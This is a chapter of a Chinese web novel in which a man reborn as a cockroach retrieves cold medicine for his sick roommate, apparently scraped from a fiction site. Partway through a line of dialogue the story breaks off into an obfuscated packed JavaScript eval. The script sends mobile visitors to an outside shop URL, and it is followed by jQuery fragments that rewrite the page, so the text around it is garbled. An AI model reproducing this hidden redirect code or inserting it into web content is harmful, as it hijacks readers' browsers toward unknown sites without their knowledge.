文趣网 > 都市小说 > 重生成小蟑螂了 > 5. 是谁?!
    说干就干,林澈打了人血,有的是力气和手段。

    他很快就爬回冰箱顶上,重新钻回与墙壁的缝隙中,通过前世的人类认知疯狂分析受力点和力臂,最终选定一个爆发点——

    拱!

    拱不动!

    林澈:“……”

    不能轻易言败。

    水滴石穿,螂逼盒退。

    他默默给自己打气:

    天将降大任于是蠊也……用力!

    蜀道难,难于上冰箱……拱!

    我欲因之梦吴越,一夜飞度螂湖月……

    拱……出来了!

    “……(T^T)”

    林澈连滚带爬摔在了一边,那对用来滑行的透明后翅却是遭了殃,最边缘的地方被碾碎了,几片小小的膜质碎片掉在一边。

    虽然痛感不明显,但……

    这是他的翅膀啊,是身体最重要的一部分啊。

    剧烈的某种生理本能霎时吞没了他,类似恐惧、失落、惶然等,神经中枢不断传输出危险的信号,林澈两只眼睛都沁出了泪花。

    ……等等。

    他什么时候退化出泪腺这种弱小又累赘的东西的。

    林澈不信邪地摸了摸眼睛,真的是湿的。

    算了,不管了。

    没有了滑行能力,林澈只好一步一个脚印,从冰箱门上阴暗爬行下地。

    裴剑吃剩的橘子皮还在桌上,林澈攀爬上去,决定先饱餐一顿,补充消耗掉的能量。

    啃了小半片,又一个问题出现在了眼前。

    ……他要怎么告诉男人,药已经出来了?

    直接骑脸把裴剑弄醒,告诉他,你的药被我弄出来了——肯定是行不通的的。

    林澈苦思冥想,忽然,一个绝妙的主意又出现在脑海之中!

    ……

    裴剑这一觉睡得并不安慰。

    右眼皮一直在跳,好像有什么不好的事情将要发生。

    裴剑猛地睁开眼睛。

    晨光熹微,透过没拉严实的窗帘缝隙刺入,他的视野里,一只巨大的黑影从斜上方仓皇蹿过,六条腿发出细微的“沙沙”声。

    “……”

    裴剑沉默了三秒,然后无声地“啊——”起来。

    眼皮痒痒的,很显然,方才他右眼皮的跳动,正是因为真的有一只蟑螂在那儿蹦迪!

    “你是不是想死……了……”

    阴森森的威胁还没说完,就卡在了喉咙里,裴剑像是被人捂住了嘴,惊诧莫名。

    只见不远处的床头柜上,一板药片静静躺在那里。

    ——泰诺。

    被封印在药盒里的半板感冒药。

    孤零零躺在床头柜上,铝箔纸四角圆圆。

    桌角处,那只蠊只探出个三角脑袋,一双豆豆眼小心翼翼看着自己,伸出一条前腿,指了指药片。

    “……??”

    裴剑狠狠闭了闭眼睛,撑着剧痛不已的太阳穴,猛地起身,冲向卫生间。

    在他的记忆里,自己昨晚烧得神志不清,想拿药却手抖把药盒碰进了冰箱和墙壁的缝隙,够不着,最终放弃。

    随着水流的哗哗声响,裴剑一边洗脸一边狠狠狞太阳穴,心想,他一定是出现幻觉了。

    一定是他睡前就把药物放在了床头柜上,然后做了个不小心把药盒卡进墙缝的梦,再然后,就是那只该死的小强无法无天地跳上了他的眼皮。

    仅此而已。

    一定是这样,绝对没错。

    可是当裴剑深呼吸三次,扶着墙走出卫生间,看到冰箱前散开的药盒和一地的散装药片时,他简直要崩溃了。

    这个场面,怎么看都像是药盒被什么东西从冰箱上推下来,掉到地上,砸开了,于是里面的药片也跟着散落。

    问题是,是谁把药盒“拿”出来推倒在地,又是谁精准找到的“感冒药”?

    是谁?!

    是一只蟑螂。

    一只黑乎乎的、须须长长的、有着一双豆豆眼的,疑似美洲小大蠊。

    “……”

    裴剑梦游般走到了床前,下意识抓住平板,目光死死盯着床头柜,做好随时战斗的准备。

    那只蟑螂又探出了半个身子,一条前腿动了动,轻轻放在药片的铝箔板边缘,两只复眼亮晶晶的。

    然后……努力向前推了推。

    像是在说:快吃吧。

    目光中还似乎透着一些骄傲。

    裴剑觉得自己的世界观受到了侵犯。

    他甚至开始思索,现在到底是该报警,还是该打120。

    虽然报警的下场,也很有可能是一群警察把自己压着送进120,开去精神病医院。

    然后明天的新闻上就会出现自己的身影。

    “……你是成精的蟑螂?”裴剑听到自己这么喃喃道。

    话一出口,连自己都觉得搞笑。

    然而,床头柜的另一角,在听到了这句话后,林澈顿时心如鼓擂!

    作为一个曾经的人类,他何尝不知自己这种行为简直是在坟头蹦迪——但他有什么错,他这么小一只,踩别的地方裴剑根本感觉不到吧!

    一晚上裴剑都在烧,他在旁边纠结了半天,最后还是没能狠下心看着这个唯一的“室友”烧成傻子,才决定破釜沉舟,唤醒对方。

    林澈只是想凭心而动一次。

    ——想要被看见。想要被善待。

    哪怕,是以……蟑螂的身份。

    一人一蠊深情对视,好像过去了一个世纪那么久,林澈摇了摇须须,目光亮晶晶的。

    裴剑呆了许久,终于回过神,干巴巴地挤出一句:

    “……下去,蟑螂不要上桌。”

    林澈:“……”

    裴剑本是随口一说,没指望那只蟑螂能有动作,谁知下一秒,他就看到那只小黑团的须须动了动,仰头看了会儿,转过身,很“听话”地爬了下去,一屁股坐在地上。

    鬼知道蟑螂是怎么做到“坐”这个动作的,总之那明显像是“坐着”,然后……它继续抬着头,须须却失落地耷拉下来。

    “●︿●”

    裴剑:“……”

    疯了,这个世界疯了。

    蟑螂都能听懂人话了。

    ……而且,他怎么感觉那只蟑螂的眼神可怜巴巴的,像是受了委屈。

    他也真是疯了。

    事实上,林澈确实有点委屈。

    他冒着生面危险,连翅膀都折断了一半去给这个人类弄药物,结果对方竟然嫌弃自己?!

    真是世风日下,人心不古!

    心中悲伤的林澈下意识动了动受伤的翅膀。

    谁知一片褐色的翅膀残片,就这么随着这么轻轻的晃动,顺着翅根……掉了下来。

    林澈:“?!!”

    裴剑:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642648|206727||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ……?”

    林澈浑身哆嗦,他呆呆捧着自己的翅膀残片,不可置信地揉了揉——

    咔嚓轻响,残片碎了。

    碎了。

    脱离了身体的蟑螂翅膀,就只是一片脆弱的薄膜片罢了。

    眼泪很快在眼珠子前凝聚,因为没有眼皮和眼睑的缘故,径直落在地上。

    裴剑又开始倒吸凉气。

    他看到了什么?

    一只抱着自己身体零件大哭的小蟑螂。

    为什么?

    就因为他说了一句不要上桌吗?

    就因为被斥责了一句,就要开始自残卖惨吗?

    甚至拆了自己的翅膀?!

    此时的裴剑生平头一次痛恨起自己2.0的视力,放下沉重的平板后,他拖出把椅子坐下:“你……”

    完全不知该说什么,最终只接了句,“……还好吗?”

    林澈:“QAQ”

    人,蠊不太好。

    裴剑不问也罢,这么一问,林澈的眼泪更是停不下来。

    翅根和脊背处隐隐发痛,那种失去身体一部分的恐慌感又缓缓冒头,林澈心中难过,一溜烟跑回了床底,埋进枯叶里,抱着翅膀嚎啕大哭。

    “……”

    房间里,一股诡异的罪恶感就这样莫名涌上裴剑心头。

    裴剑愣在原地,揉了揉眼睛,等了会儿却再也没看到那道黑色的身影。

    他终于伸出手,拿起床头柜上的药板打量。

    药板的四边被整齐地剪成圆角,里面裹着三片白色的药片,正是自己曾经剪下放入药箱的那半板。对人类来说,这东西的分量其实很轻,但他想起了那只蟑螂。

    黑乎乎的,比这半板药还小一圈。

    ……它是怎么把药片搬上来的呢。

    最终,裴剑拆出药片,就着冷水吞了下去,坐在床前刷手机。

    主要狂刷蟑螂相关信息。

    然而搜了半天,也没看到能用的能解释方才事件的科学道理。

    算了。

    药效发挥得很快,烧似乎退了一些,但人还是虚得厉害。裴剑干脆请了假,又盯了床脚下一会儿,见下面没有任何动静,困意袭来,只好重新躺回床上。

    床底下,林澈窝在自己的小叶子床里,泪眼朦胧地看着外面的光线再次归于黑暗。

    他把自己蜷在了一起。

    其实……翅膀掉了这件事听起来很恐怖,但就实际来说,这幅昆虫的躯体似乎并不像从前身为人类时痛觉神经那么敏锐。

    比起疼痛,更多的是失去翅膀的沮丧。

    但事已至此,已成定局,没个翅膀也不算什么,反正本来也飞不起来。

    林澈决定哭完了,就放下所有负面感情,前足相互揉了揉,思绪不由得蔓延开来。

    ……人类就睡在自己的头顶上,有着温暖的床褥和柔软的被子。

    而自己只有烂叶子和旧袜子。

    林澈抱紧了叶子尖尖,想象这是自己的抱枕,而袜子则是床单的平替,心里总算平衡了些。他看着自己略显透明的纤细足肢,忽然想起了先前它们碰到裴剑皮肤时的触感。

    人的眼皮真温暖啊……以前怎么没发现呢。

    软软的,弹弹的,脚感真棒,令蠊回味。

    可恶啊,好想上床。好怀念被窝的味道!

    在强烈的怨念中,林澈缩成一团,很快陷入了睡眠。